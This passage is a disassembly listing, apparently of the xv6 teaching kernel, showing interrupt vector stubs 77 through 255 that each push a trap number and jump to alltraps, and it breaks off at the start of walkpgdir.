8010624c <vector77>:
8010624c: 6a 00 push $0x0
8010624e: 6a 4d push $0x4d
80106250: e9 74 f8 ff ff jmp 80105ac9 <alltraps>
80106255 <vector78>:
80106255: 6a 00 push $0x0
80106257: 6a 4e push $0x4e
80106259: e9 6b f8 ff ff jmp 80105ac9 <alltraps>
8010625e <vector79>:
8010625e: 6a 00 push $0x0
80106260: 6a 4f push $0x4f
80106262: e9 62 f8 ff ff jmp 80105ac9 <alltraps>
80106267 <vector80>:
80106267: 6a 00 push $0x0
80106269: 6a 50 push $0x50
8010626b: e9 59 f8 ff ff jmp 80105ac9 <alltraps>
80106270 <vector81>:
80106270: 6a 00 push $0x0
80106272: 6a 51 push $0x51
80106274: e9 50 f8 ff ff jmp 80105ac9 <alltraps>
80106279 <vector82>:
80106279: 6a 00 push $0x0
8010627b: 6a 52 push $0x52
8010627d: e9 47 f8 ff ff jmp 80105ac9 <alltraps>
80106282 <vector83>:
80106282: 6a 00 push $0x0
80106284: 6a 53 push $0x53
80106286: e9 3e f8 ff ff jmp 80105ac9 <alltraps>
8010628b <vector84>:
8010628b: 6a 00 push $0x0
8010628d: 6a 54 push $0x54
8010628f: e9 35 f8 ff ff jmp 80105ac9 <alltraps>
80106294 <vector85>:
80106294: 6a 00 push $0x0
80106296: 6a 55 push $0x55
80106298: e9 2c f8 ff ff jmp 80105ac9 <alltraps>
8010629d <vector86>:
8010629d: 6a 00 push $0x0
8010629f: 6a 56 push $0x56
801062a1: e9 23 f8 ff ff jmp 80105ac9 <alltraps>
801062a6 <vector87>:
801062a6: 6a 00 push $0x0
801062a8: 6a 57 push $0x57
801062aa: e9 1a f8 ff ff jmp 80105ac9 <alltraps>
801062af <vector88>:
801062af: 6a 00 push $0x0
801062b1: 6a 58 push $0x58
801062b3: e9 11 f8 ff ff jmp 80105ac9 <alltraps>
801062b8 <vector89>:
801062b8: 6a 00 push $0x0
801062ba: 6a 59 push $0x59
801062bc: e9 08 f8 ff ff jmp 80105ac9 <alltraps>
801062c1 <vector90>:
801062c1: 6a 00 push $0x0
801062c3: 6a 5a push $0x5a
801062c5: e9 ff f7 ff ff jmp 80105ac9 <alltraps>
801062ca <vector91>:
801062ca: 6a 00 push $0x0
801062cc: 6a 5b push $0x5b
801062ce: e9 f6 f7 ff ff jmp 80105ac9 <alltraps>
801062d3 <vector92>:
801062d3: 6a 00 push $0x0
801062d5: 6a 5c push $0x5c
801062d7: e9 ed f7 ff ff jmp 80105ac9 <alltraps>
801062dc <vector93>:
801062dc: 6a 00 push $0x0
801062de: 6a 5d push $0x5d
801062e0: e9 e4 f7 ff ff jmp 80105ac9 <alltraps>
801062e5 <vector94>:
801062e5: 6a 00 push $0x0
801062e7: 6a 5e push $0x5e
801062e9: e9 db f7 ff ff jmp 80105ac9 <alltraps>
801062ee <vector95>:
801062ee: 6a 00 push $0x0
801062f0: 6a 5f push $0x5f
801062f2: e9 d2 f7 ff ff jmp 80105ac9 <alltraps>
801062f7 <vector96>:
801062f7: 6a 00 push $0x0
801062f9: 6a 60 push $0x60
801062fb: e9 c9 f7 ff ff jmp 80105ac9 <alltraps>
80106300 <vector97>:
80106300: 6a 00 push $0x0
80106302: 6a 61 push $0x61
80106304: e9 c0 f7 ff ff jmp 80105ac9 <alltraps>
80106309 <vector98>:
80106309: 6a 00 push $0x0
8010630b: 6a 62 push $0x62
8010630d: e9 b7 f7 ff ff jmp 80105ac9 <alltraps>
80106312 <vector99>:
80106312: 6a 00 push $0x0
80106314: 6a 63 push $0x63
80106316: e9 ae f7 ff ff jmp 80105ac9 <alltraps>
8010631b <vector100>:
8010631b: 6a 00 push $0x0
8010631d: 6a 64 push $0x64
8010631f: e9 a5 f7 ff ff jmp 80105ac9 <alltraps>
80106324 <vector101>:
80106324: 6a 00 push $0x0
80106326: 6a 65 push $0x65
80106328: e9 9c f7 ff ff jmp 80105ac9 <alltraps>
8010632d <vector102>:
8010632d: 6a 00 push $0x0
8010632f: 6a 66 push $0x66
80106331: e9 93 f7 ff ff jmp 80105ac9 <alltraps>
80106336 <vector103>:
80106336: 6a 00 push $0x0
80106338: 6a 67 push $0x67
8010633a: e9 8a f7 ff ff jmp 80105ac9 <alltraps>
8010633f <vector104>:
8010633f: 6a 00 push $0x0
80106341: 6a 68 push $0x68
80106343: e9 81 f7 ff ff jmp 80105ac9 <alltraps>
80106348 <vector105>:
80106348: 6a 00 push $0x0
8010634a: 6a 69 push $0x69
8010634c: e9 78 f7 ff ff jmp 80105ac9 <alltraps>
80106351 <vector106>:
80106351: 6a 00 push $0x0
80106353: 6a 6a push $0x6a
80106355: e9 6f f7 ff ff jmp 80105ac9 <alltraps>
8010635a <vector107>:
8010635a: 6a 00 push $0x0
8010635c: 6a 6b push $0x6b
8010635e: e9 66 f7 ff ff jmp 80105ac9 <alltraps>
80106363 <vector108>:
80106363: 6a 00 push $0x0
80106365: 6a 6c push $0x6c
80106367: e9 5d f7 ff ff jmp 80105ac9 <alltraps>
8010636c <vector109>:
8010636c: 6a 00 push $0x0
8010636e: 6a 6d push $0x6d
80106370: e9 54 f7 ff ff jmp 80105ac9 <alltraps>
80106375 <vector110>:
80106375: 6a 00 push $0x0
80106377: 6a 6e push $0x6e
80106379: e9 4b f7 ff ff jmp 80105ac9 <alltraps>
8010637e <vector111>:
8010637e: 6a 00 push $0x0
80106380: 6a 6f push $0x6f
80106382: e9 42 f7 ff ff jmp 80105ac9 <alltraps>
80106387 <vector112>:
80106387: 6a 00 push $0x0
80106389: 6a 70 push $0x70
8010638b: e9 39 f7 ff ff jmp 80105ac9 <alltraps>
80106390 <vector113>:
80106390: 6a 00 push $0x0
80106392: 6a 71 push $0x71
80106394: e9 30 f7 ff ff jmp 80105ac9 <alltraps>
80106399 <vector114>:
80106399: 6a 00 push $0x0
8010639b: 6a 72 push $0x72
8010639d: e9 27 f7 ff ff jmp 80105ac9 <alltraps>
801063a2 <vector115>:
801063a2: 6a 00 push $0x0
801063a4: 6a 73 push $0x73
801063a6: e9 1e f7 ff ff jmp 80105ac9 <alltraps>
801063ab <vector116>:
801063ab: 6a 00 push $0x0
801063ad: 6a 74 push $0x74
801063af: e9 15 f7 ff ff jmp 80105ac9 <alltraps>
801063b4 <vector117>:
801063b4: 6a 00 push $0x0
801063b6: 6a 75 push $0x75
801063b8: e9 0c f7 ff ff jmp 80105ac9 <alltraps>
801063bd <vector118>:
801063bd: 6a 00 push $0x0
801063bf: 6a 76 push $0x76
801063c1: e9 03 f7 ff ff jmp 80105ac9 <alltraps>
801063c6 <vector119>:
801063c6: 6a 00 push $0x0
801063c8: 6a 77 push $0x77
801063ca: e9 fa f6 ff ff jmp 80105ac9 <alltraps>
801063cf <vector120>:
801063cf: 6a 00 push $0x0
801063d1: 6a 78 push $0x78
801063d3: e9 f1 f6 ff ff jmp 80105ac9 <alltraps>
801063d8 <vector121>:
801063d8: 6a 00 push $0x0
801063da: 6a 79 push $0x79
801063dc: e9 e8 f6 ff ff jmp 80105ac9 <alltraps>
801063e1 <vector122>:
801063e1: 6a 00 push $0x0
801063e3: 6a 7a push $0x7a
801063e5: e9 df f6 ff ff jmp 80105ac9 <alltraps>
801063ea <vector123>:
801063ea: 6a 00 push $0x0
801063ec: 6a 7b push $0x7b
801063ee: e9 d6 f6 ff ff jmp 80105ac9 <alltraps>
801063f3 <vector124>:
801063f3: 6a 00 push $0x0
801063f5: 6a 7c push $0x7c
801063f7: e9 cd f6 ff ff jmp 80105ac9 <alltraps>
801063fc <vector125>:
801063fc: 6a 00 push $0x0
801063fe: 6a 7d push $0x7d
80106400: e9 c4 f6 ff ff jmp 80105ac9 <alltraps>
80106405 <vector126>:
80106405: 6a 00 push $0x0
80106407: 6a 7e push $0x7e
80106409: e9 bb f6 ff ff jmp 80105ac9 <alltraps>
8010640e <vector127>:
8010640e: 6a 00 push $0x0
80106410: 6a 7f push $0x7f
80106412: e9 b2 f6 ff ff jmp 80105ac9 <alltraps>
80106417 <vector128>:
80106417: 6a 00 push $0x0
80106419: 68 80 00 00 00 push $0x80
8010641e: e9 a6 f6 ff ff jmp 80105ac9 <alltraps>
80106423 <vector129>:
80106423: 6a 00 push $0x0
80106425: 68 81 00 00 00 push $0x81
8010642a: e9 9a f6 ff ff jmp 80105ac9 <alltraps>
8010642f <vector130>:
8010642f: 6a 00 push $0x0
80106431: 68 82 00 00 00 push $0x82
80106436: e9 8e f6 ff ff jmp 80105ac9 <alltraps>
8010643b <vector131>:
8010643b: 6a 00 push $0x0
8010643d: 68 83 00 00 00 push $0x83
80106442: e9 82 f6 ff ff jmp 80105ac9 <alltraps>
80106447 <vector132>:
80106447: 6a 00 push $0x0
80106449: 68 84 00 00 00 push $0x84
8010644e: e9 76 f6 ff ff jmp 80105ac9 <alltraps>
80106453 <vector133>:
80106453: 6a 00 push $0x0
80106455: 68 85 00 00 00 push $0x85
8010645a: e9 6a f6 ff ff jmp 80105ac9 <alltraps>
8010645f <vector134>:
8010645f: 6a 00 push $0x0
80106461: 68 86 00 00 00 push $0x86
80106466: e9 5e f6 ff ff jmp 80105ac9 <alltraps>
8010646b <vector135>:
8010646b: 6a 00 push $0x0
8010646d: 68 87 00 00 00 push $0x87
80106472: e9 52 f6 ff ff jmp 80105ac9 <alltraps>
80106477 <vector136>:
80106477: 6a 00 push $0x0
80106479: 68 88 00 00 00 push $0x88
8010647e: e9 46 f6 ff ff jmp 80105ac9 <alltraps>
80106483 <vector137>:
80106483: 6a 00 push $0x0
80106485: 68 89 00 00 00 push $0x89
8010648a: e9 3a f6 ff ff jmp 80105ac9 <alltraps>
8010648f <vector138>:
8010648f: 6a 00 push $0x0
80106491: 68 8a 00 00 00 push $0x8a
80106496: e9 2e f6 ff ff jmp 80105ac9 <alltraps>
8010649b <vector139>:
8010649b: 6a 00 push $0x0
8010649d: 68 8b 00 00 00 push $0x8b
801064a2: e9 22 f6 ff ff jmp 80105ac9 <alltraps>
801064a7 <vector140>:
801064a7: 6a 00 push $0x0
801064a9: 68 8c 00 00 00 push $0x8c
801064ae: e9 16 f6 ff ff jmp 80105ac9 <alltraps>
801064b3 <vector141>:
801064b3: 6a 00 push $0x0
801064b5: 68 8d 00 00 00 push $0x8d
801064ba: e9 0a f6 ff ff jmp 80105ac9 <alltraps>
801064bf <vector142>:
801064bf: 6a 00 push $0x0
801064c1: 68 8e 00 00 00 push $0x8e
801064c6: e9 fe f5 ff ff jmp 80105ac9 <alltraps>
801064cb <vector143>:
801064cb: 6a 00 push $0x0
801064cd: 68 8f 00 00 00 push $0x8f
801064d2: e9 f2 f5 ff ff jmp 80105ac9 <alltraps>
801064d7 <vector144>:
801064d7: 6a 00 push $0x0
801064d9: 68 90 00 00 00 push $0x90
801064de: e9 e6 f5 ff ff jmp 80105ac9 <alltraps>
801064e3 <vector145>:
801064e3: 6a 00 push $0x0
801064e5: 68 91 00 00 00 push $0x91
801064ea: e9 da f5 ff ff jmp 80105ac9 <alltraps>
801064ef <vector146>:
801064ef: 6a 00 push $0x0
801064f1: 68 92 00 00 00 push $0x92
801064f6: e9 ce f5 ff ff jmp 80105ac9 <alltraps>
801064fb <vector147>:
801064fb: 6a 00 push $0x0
801064fd: 68 93 00 00 00 push $0x93
80106502: e9 c2 f5 ff ff jmp 80105ac9 <alltraps>
80106507 <vector148>:
80106507: 6a 00 push $0x0
80106509: 68 94 00 00 00 push $0x94
8010650e: e9 b6 f5 ff ff jmp 80105ac9 <alltraps>
80106513 <vector149>:
80106513: 6a 00 push $0x0
80106515: 68 95 00 00 00 push $0x95
8010651a: e9 aa f5 ff ff jmp 80105ac9 <alltraps>
8010651f <vector150>:
8010651f: 6a 00 push $0x0
80106521: 68 96 00 00 00 push $0x96
80106526: e9 9e f5 ff ff jmp 80105ac9 <alltraps>
8010652b <vector151>:
8010652b: 6a 00 push $0x0
8010652d: 68 97 00 00 00 push $0x97
80106532: e9 92 f5 ff ff jmp 80105ac9 <alltraps>
80106537 <vector152>:
80106537: 6a 00 push $0x0
80106539: 68 98 00 00 00 push $0x98
8010653e: e9 86 f5 ff ff jmp 80105ac9 <alltraps>
80106543 <vector153>:
80106543: 6a 00 push $0x0
80106545: 68 99 00 00 00 push $0x99
8010654a: e9 7a f5 ff ff jmp 80105ac9 <alltraps>
8010654f <vector154>:
8010654f: 6a 00 push $0x0
80106551: 68 9a 00 00 00 push $0x9a
80106556: e9 6e f5 ff ff jmp 80105ac9 <alltraps>
8010655b <vector155>:
8010655b: 6a 00 push $0x0
8010655d: 68 9b 00 00 00 push $0x9b
80106562: e9 62 f5 ff ff jmp 80105ac9 <alltraps>
80106567 <vector156>:
80106567: 6a 00 push $0x0
80106569: 68 9c 00 00 00 push $0x9c
8010656e: e9 56 f5 ff ff jmp 80105ac9 <alltraps>
80106573 <vector157>:
80106573: 6a 00 push $0x0
80106575: 68 9d 00 00 00 push $0x9d
8010657a: e9 4a f5 ff ff jmp 80105ac9 <alltraps>
8010657f <vector158>:
8010657f: 6a 00 push $0x0
80106581: 68 9e 00 00 00 push $0x9e
80106586: e9 3e f5 ff ff jmp 80105ac9 <alltraps>
8010658b <vector159>:
8010658b: 6a 00 push $0x0
8010658d: 68 9f 00 00 00 push $0x9f
80106592: e9 32 f5 ff ff jmp 80105ac9 <alltraps>
80106597 <vector160>:
80106597: 6a 00 push $0x0
80106599: 68 a0 00 00 00 push $0xa0
8010659e: e9 26 f5 ff ff jmp 80105ac9 <alltraps>
801065a3 <vector161>:
801065a3: 6a 00 push $0x0
801065a5: 68 a1 00 00 00 push $0xa1
801065aa: e9 1a f5 ff ff jmp 80105ac9 <alltraps>
801065af <vector162>:
801065af: 6a 00 push $0x0
801065b1: 68 a2 00 00 00 push $0xa2
801065b6: e9 0e f5 ff ff jmp 80105ac9 <alltraps>
801065bb <vector163>:
801065bb: 6a 00 push $0x0
801065bd: 68 a3 00 00 00 push $0xa3
801065c2: e9 02 f5 ff ff jmp 80105ac9 <alltraps>
801065c7 <vector164>:
801065c7: 6a 00 push $0x0
801065c9: 68 a4 00 00 00 push $0xa4
801065ce: e9 f6 f4 ff ff jmp 80105ac9 <alltraps>
801065d3 <vector165>:
801065d3: 6a 00 push $0x0
801065d5: 68 a5 00 00 00 push $0xa5
801065da: e9 ea f4 ff ff jmp 80105ac9 <alltraps>
801065df <vector166>:
801065df: 6a 00 push $0x0
801065e1: 68 a6 00 00 00 push $0xa6
801065e6: e9 de f4 ff ff jmp 80105ac9 <alltraps>
801065eb <vector167>:
801065eb: 6a 00 push $0x0
801065ed: 68 a7 00 00 00 push $0xa7
801065f2: e9 d2 f4 ff ff jmp 80105ac9 <alltraps>
801065f7 <vector168>:
801065f7: 6a 00 push $0x0
801065f9: 68 a8 00 00 00 push $0xa8
801065fe: e9 c6 f4 ff ff jmp 80105ac9 <alltraps>
80106603 <vector169>:
80106603: 6a 00 push $0x0
80106605: 68 a9 00 00 00 push $0xa9
8010660a: e9 ba f4 ff ff jmp 80105ac9 <alltraps>
8010660f <vector170>:
8010660f: 6a 00 push $0x0
80106611: 68 aa 00 00 00 push $0xaa
80106616: e9 ae f4 ff ff jmp 80105ac9 <alltraps>
8010661b <vector171>:
8010661b: 6a 00 push $0x0
8010661d: 68 ab 00 00 00 push $0xab
80106622: e9 a2 f4 ff ff jmp 80105ac9 <alltraps>
80106627 <vector172>:
80106627: 6a 00 push $0x0
80106629: 68 ac 00 00 00 push $0xac
8010662e: e9 96 f4 ff ff jmp 80105ac9 <alltraps>
80106633 <vector173>:
80106633: 6a 00 push $0x0
80106635: 68 ad 00 00 00 push $0xad
8010663a: e9 8a f4 ff ff jmp 80105ac9 <alltraps>
8010663f <vector174>:
8010663f: 6a 00 push $0x0
80106641: 68 ae 00 00 00 push $0xae
80106646: e9 7e f4 ff ff jmp 80105ac9 <alltraps>
8010664b <vector175>:
8010664b: 6a 00 push $0x0
8010664d: 68 af 00 00 00 push $0xaf
80106652: e9 72 f4 ff ff jmp 80105ac9 <alltraps>
80106657 <vector176>:
80106657: 6a 00 push $0x0
80106659: 68 b0 00 00 00 push $0xb0
8010665e: e9 66 f4 ff ff jmp 80105ac9 <alltraps>
80106663 <vector177>:
80106663: 6a 00 push $0x0
80106665: 68 b1 00 00 00 push $0xb1
8010666a: e9 5a f4 ff ff jmp 80105ac9 <alltraps>
8010666f <vector178>:
8010666f: 6a 00 push $0x0
80106671: 68 b2 00 00 00 push $0xb2
80106676: e9 4e f4 ff ff jmp 80105ac9 <alltraps>
8010667b <vector179>:
8010667b: 6a 00 push $0x0
8010667d: 68 b3 00 00 00 push $0xb3
80106682: e9 42 f4 ff ff jmp 80105ac9 <alltraps>
80106687 <vector180>:
80106687: 6a 00 push $0x0
80106689: 68 b4 00 00 00 push $0xb4
8010668e: e9 36 f4 ff ff jmp 80105ac9 <alltraps>
80106693 <vector181>:
80106693: 6a 00 push $0x0
80106695: 68 b5 00 00 00 push $0xb5
8010669a: e9 2a f4 ff ff jmp 80105ac9 <alltraps>
8010669f <vector182>:
8010669f: 6a 00 push $0x0
801066a1: 68 b6 00 00 00 push $0xb6
801066a6: e9 1e f4 ff ff jmp 80105ac9 <alltraps>
801066ab <vector183>:
801066ab: 6a 00 push $0x0
801066ad: 68 b7 00 00 00 push $0xb7
801066b2: e9 12 f4 ff ff jmp 80105ac9 <alltraps>
801066b7 <vector184>:
801066b7: 6a 00 push $0x0
801066b9: 68 b8 00 00 00 push $0xb8
801066be: e9 06 f4 ff ff jmp 80105ac9 <alltraps>
801066c3 <vector185>:
801066c3: 6a 00 push $0x0
801066c5: 68 b9 00 00 00 push $0xb9
801066ca: e9 fa f3 ff ff jmp 80105ac9 <alltraps>
801066cf <vector186>:
801066cf: 6a 00 push $0x0
801066d1: 68 ba 00 00 00 push $0xba
801066d6: e9 ee f3 ff ff jmp 80105ac9 <alltraps>
801066db <vector187>:
801066db: 6a 00 push $0x0
801066dd: 68 bb 00 00 00 push $0xbb
801066e2: e9 e2 f3 ff ff jmp 80105ac9 <alltraps>
801066e7 <vector188>:
801066e7: 6a 00 push $0x0
801066e9: 68 bc 00 00 00 push $0xbc
801066ee: e9 d6 f3 ff ff jmp 80105ac9 <alltraps>
801066f3 <vector189>:
801066f3: 6a 00 push $0x0
801066f5: 68 bd 00 00 00 push $0xbd
801066fa: e9 ca f3 ff ff jmp 80105ac9 <alltraps>
801066ff <vector190>:
801066ff: 6a 00 push $0x0
80106701: 68 be 00 00 00 push $0xbe
80106706: e9 be f3 ff ff jmp 80105ac9 <alltraps>
8010670b <vector191>:
8010670b: 6a 00 push $0x0
8010670d: 68 bf 00 00 00 push $0xbf
80106712: e9 b2 f3 ff ff jmp 80105ac9 <alltraps>
80106717 <vector192>:
80106717: 6a 00 push $0x0
80106719: 68 c0 00 00 00 push $0xc0
8010671e: e9 a6 f3 ff ff jmp 80105ac9 <alltraps>
80106723 <vector193>:
80106723: 6a 00 push $0x0
80106725: 68 c1 00 00 00 push $0xc1
8010672a: e9 9a f3 ff ff jmp 80105ac9 <alltraps>
8010672f <vector194>:
8010672f: 6a 00 push $0x0
80106731: 68 c2 00 00 00 push $0xc2
80106736: e9 8e f3 ff ff jmp 80105ac9 <alltraps>
8010673b <vector195>:
8010673b: 6a 00 push $0x0
8010673d: 68 c3 00 00 00 push $0xc3
80106742: e9 82 f3 ff ff jmp 80105ac9 <alltraps>
80106747 <vector196>:
80106747: 6a 00 push $0x0
80106749: 68 c4 00 00 00 push $0xc4
8010674e: e9 76 f3 ff ff jmp 80105ac9 <alltraps>
80106753 <vector197>:
80106753: 6a 00 push $0x0
80106755: 68 c5 00 00 00 push $0xc5
8010675a: e9 6a f3 ff ff jmp 80105ac9 <alltraps>
8010675f <vector198>:
8010675f: 6a 00 push $0x0
80106761: 68 c6 00 00 00 push $0xc6
80106766: e9 5e f3 ff ff jmp 80105ac9 <alltraps>
8010676b <vector199>:
8010676b: 6a 00 push $0x0
8010676d: 68 c7 00 00 00 push $0xc7
80106772: e9 52 f3 ff ff jmp 80105ac9 <alltraps>
80106777 <vector200>:
80106777: 6a 00 push $0x0
80106779: 68 c8 00 00 00 push $0xc8
8010677e: e9 46 f3 ff ff jmp 80105ac9 <alltraps>
80106783 <vector201>:
80106783: 6a 00 push $0x0
80106785: 68 c9 00 00 00 push $0xc9
8010678a: e9 3a f3 ff ff jmp 80105ac9 <alltraps>
8010678f <vector202>:
8010678f: 6a 00 push $0x0
80106791: 68 ca 00 00 00 push $0xca
80106796: e9 2e f3 ff ff jmp 80105ac9 <alltraps>
8010679b <vector203>:
8010679b: 6a 00 push $0x0
8010679d: 68 cb 00 00 00 push $0xcb
801067a2: e9 22 f3 ff ff jmp 80105ac9 <alltraps>
801067a7 <vector204>:
801067a7: 6a 00 push $0x0
801067a9: 68 cc 00 00 00 push $0xcc
801067ae: e9 16 f3 ff ff jmp 80105ac9 <alltraps>
801067b3 <vector205>:
801067b3: 6a 00 push $0x0
801067b5: 68 cd 00 00 00 push $0xcd
801067ba: e9 0a f3 ff ff jmp 80105ac9 <alltraps>
801067bf <vector206>:
801067bf: 6a 00 push $0x0
801067c1: 68 ce 00 00 00 push $0xce
801067c6: e9 fe f2 ff ff jmp 80105ac9 <alltraps>
801067cb <vector207>:
801067cb: 6a 00 push $0x0
801067cd: 68 cf 00 00 00 push $0xcf
801067d2: e9 f2 f2 ff ff jmp 80105ac9 <alltraps>
801067d7 <vector208>:
801067d7: 6a 00 push $0x0
801067d9: 68 d0 00 00 00 push $0xd0
801067de: e9 e6 f2 ff ff jmp 80105ac9 <alltraps>
801067e3 <vector209>:
801067e3: 6a 00 push $0x0
801067e5: 68 d1 00 00 00 push $0xd1
801067ea: e9 da f2 ff ff jmp 80105ac9 <alltraps>
801067ef <vector210>:
801067ef: 6a 00 push $0x0
801067f1: 68 d2 00 00 00 push $0xd2
801067f6: e9 ce f2 ff ff jmp 80105ac9 <alltraps>
801067fb <vector211>:
801067fb: 6a 00 push $0x0
801067fd: 68 d3 00 00 00 push $0xd3
80106802: e9 c2 f2 ff ff jmp 80105ac9 <alltraps>
80106807 <vector212>:
80106807: 6a 00 push $0x0
80106809: 68 d4 00 00 00 push $0xd4
8010680e: e9 b6 f2 ff ff jmp 80105ac9 <alltraps>
80106813 <vector213>:
80106813: 6a 00 push $0x0
80106815: 68 d5 00 00 00 push $0xd5
8010681a: e9 aa f2 ff ff jmp 80105ac9 <alltraps>
8010681f <vector214>:
8010681f: 6a 00 push $0x0
80106821: 68 d6 00 00 00 push $0xd6
80106826: e9 9e f2 ff ff jmp 80105ac9 <alltraps>
8010682b <vector215>:
8010682b: 6a 00 push $0x0
8010682d: 68 d7 00 00 00 push $0xd7
80106832: e9 92 f2 ff ff jmp 80105ac9 <alltraps>
80106837 <vector216>:
80106837: 6a 00 push $0x0
80106839: 68 d8 00 00 00 push $0xd8
8010683e: e9 86 f2 ff ff jmp 80105ac9 <alltraps>
80106843 <vector217>:
80106843: 6a 00 push $0x0
80106845: 68 d9 00 00 00 push $0xd9
8010684a: e9 7a f2 ff ff jmp 80105ac9 <alltraps>
8010684f <vector218>:
8010684f: 6a 00 push $0x0
80106851: 68 da 00 00 00 push $0xda
80106856: e9 6e f2 ff ff jmp 80105ac9 <alltraps>
8010685b <vector219>:
8010685b: 6a 00 push $0x0
8010685d: 68 db 00 00 00 push $0xdb
80106862: e9 62 f2 ff ff jmp 80105ac9 <alltraps>
80106867 <vector220>:
80106867: 6a 00 push $0x0
80106869: 68 dc 00 00 00 push $0xdc
8010686e: e9 56 f2 ff ff jmp 80105ac9 <alltraps>
80106873 <vector221>:
80106873: 6a 00 push $0x0
80106875: 68 dd 00 00 00 push $0xdd
8010687a: e9 4a f2 ff ff jmp 80105ac9 <alltraps>
8010687f <vector222>:
8010687f: 6a 00 push $0x0
80106881: 68 de 00 00 00 push $0xde
80106886: e9 3e f2 ff ff jmp 80105ac9 <alltraps>
8010688b <vector223>:
8010688b: 6a 00 push $0x0
8010688d: 68 df 00 00 00 push $0xdf
80106892: e9 32 f2 ff ff jmp 80105ac9 <alltraps>
80106897 <vector224>:
80106897: 6a 00 push $0x0
80106899: 68 e0 00 00 00 push $0xe0
8010689e: e9 26 f2 ff ff jmp 80105ac9 <alltraps>
801068a3 <vector225>:
801068a3: 6a 00 push $0x0
801068a5: 68 e1 00 00 00 push $0xe1
801068aa: e9 1a f2 ff ff jmp 80105ac9 <alltraps>
801068af <vector226>:
801068af: 6a 00 push $0x0
801068b1: 68 e2 00 00 00 push $0xe2
801068b6: e9 0e f2 ff ff jmp 80105ac9 <alltraps>
801068bb <vector227>:
801068bb: 6a 00 push $0x0
801068bd: 68 e3 00 00 00 push $0xe3
801068c2: e9 02 f2 ff ff jmp 80105ac9 <alltraps>
801068c7 <vector228>:
801068c7: 6a 00 push $0x0
801068c9: 68 e4 00 00 00 push $0xe4
801068ce: e9 f6 f1 ff ff jmp 80105ac9 <alltraps>
801068d3 <vector229>:
801068d3: 6a 00 push $0x0
801068d5: 68 e5 00 00 00 push $0xe5
801068da: e9 ea f1 ff ff jmp 80105ac9 <alltraps>
801068df <vector230>:
801068df: 6a 00 push $0x0
801068e1: 68 e6 00 00 00 push $0xe6
801068e6: e9 de f1 ff ff jmp 80105ac9 <alltraps>
801068eb <vector231>:
801068eb: 6a 00 push $0x0
801068ed: 68 e7 00 00 00 push $0xe7
801068f2: e9 d2 f1 ff ff jmp 80105ac9 <alltraps>
801068f7 <vector232>:
801068f7: 6a 00 push $0x0
801068f9: 68 e8 00 00 00 push $0xe8
801068fe: e9 c6 f1 ff ff jmp 80105ac9 <alltraps>
80106903 <vector233>:
80106903: 6a 00 push $0x0
80106905: 68 e9 00 00 00 push $0xe9
8010690a: e9 ba f1 ff ff jmp 80105ac9 <alltraps>
8010690f <vector234>:
8010690f: 6a 00 push $0x0
80106911: 68 ea 00 00 00 push $0xea
80106916: e9 ae f1 ff ff jmp 80105ac9 <alltraps>
8010691b <vector235>:
8010691b: 6a 00 push $0x0
8010691d: 68 eb 00 00 00 push $0xeb
80106922: e9 a2 f1 ff ff jmp 80105ac9 <alltraps>
80106927 <vector236>:
80106927: 6a 00 push $0x0
80106929: 68 ec 00 00 00 push $0xec
8010692e: e9 96 f1 ff ff jmp 80105ac9 <alltraps>
80106933 <vector237>:
80106933: 6a 00 push $0x0
80106935: 68 ed 00 00 00 push $0xed
8010693a: e9 8a f1 ff ff jmp 80105ac9 <alltraps>
8010693f <vector238>:
8010693f: 6a 00 push $0x0
80106941: 68 ee 00 00 00 push $0xee
80106946: e9 7e f1 ff ff jmp 80105ac9 <alltraps>
8010694b <vector239>:
8010694b: 6a 00 push $0x0
8010694d: 68 ef 00 00 00 push $0xef
80106952: e9 72 f1 ff ff jmp 80105ac9 <alltraps>
80106957 <vector240>:
80106957: 6a 00 push $0x0
80106959: 68 f0 00 00 00 push $0xf0
8010695e: e9 66 f1 ff ff jmp 80105ac9 <alltraps>
80106963 <vector241>:
80106963: 6a 00 push $0x0
80106965: 68 f1 00 00 00 push $0xf1
8010696a: e9 5a f1 ff ff jmp 80105ac9 <alltraps>
8010696f <vector242>:
8010696f: 6a 00 push $0x0
80106971: 68 f2 00 00 00 push $0xf2
80106976: e9 4e f1 ff ff jmp 80105ac9 <alltraps>
8010697b <vector243>:
8010697b: 6a 00 push $0x0
8010697d: 68 f3 00 00 00 push $0xf3
80106982: e9 42 f1 ff ff jmp 80105ac9 <alltraps>
80106987 <vector244>:
80106987: 6a 00 push $0x0
80106989: 68 f4 00 00 00 push $0xf4
8010698e: e9 36 f1 ff ff jmp 80105ac9 <alltraps>
80106993 <vector245>:
80106993: 6a 00 push $0x0
80106995: 68 f5 00 00 00 push $0xf5
8010699a: e9 2a f1 ff ff jmp 80105ac9 <alltraps>
8010699f <vector246>:
8010699f: 6a 00 push $0x0
801069a1: 68 f6 00 00 00 push $0xf6
801069a6: e9 1e f1 ff ff jmp 80105ac9 <alltraps>
801069ab <vector247>:
801069ab: 6a 00 push $0x0
801069ad: 68 f7 00 00 00 push $0xf7
801069b2: e9 12 f1 ff ff jmp 80105ac9 <alltraps>
801069b7 <vector248>:
801069b7: 6a 00 push $0x0
801069b9: 68 f8 00 00 00 push $0xf8
801069be: e9 06 f1 ff ff jmp 80105ac9 <alltraps>
801069c3 <vector249>:
801069c3: 6a 00 push $0x0
801069c5: 68 f9 00 00 00 push $0xf9
801069ca: e9 fa f0 ff ff jmp 80105ac9 <alltraps>
801069cf <vector250>:
801069cf: 6a 00 push $0x0
801069d1: 68 fa 00 00 00 push $0xfa
801069d6: e9 ee f0 ff ff jmp 80105ac9 <alltraps>
801069db <vector251>:
801069db: 6a 00 push $0x0
801069dd: 68 fb 00 00 00 push $0xfb
801069e2: e9 e2 f0 ff ff jmp 80105ac9 <alltraps>
801069e7 <vector252>:
801069e7: 6a 00 push $0x0
801069e9: 68 fc 00 00 00 push $0xfc
801069ee: e9 d6 f0 ff ff jmp 80105ac9 <alltraps>
801069f3 <vector253>:
801069f3: 6a 00 push $0x0
801069f5: 68 fd 00 00 00 push $0xfd
801069fa: e9 ca f0 ff ff jmp 80105ac9 <alltraps>
801069ff <vector254>:
801069ff: 6a 00 push $0x0
80106a01: 68 fe 00 00 00 push $0xfe
80106a06: e9 be f0 ff ff jmp 80105ac9 <alltraps>
80106a0b <vector255>:
80106a0b: 6a 00 push $0x0
80106a0d: 68 ff 00 00 00 push $0xff
80106a12: e9 b2 f0 ff ff jmp 80105ac9 <alltraps>
80106a17: 66 90 xchg %ax,%ax
80106a19: 66 90 xchg %ax,%ax
80106a1b: 66 90 xchg %ax,%ax
80106a1d: 66 90 xchg %ax,%ax
80106a1f: 90 nop
80106a20 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
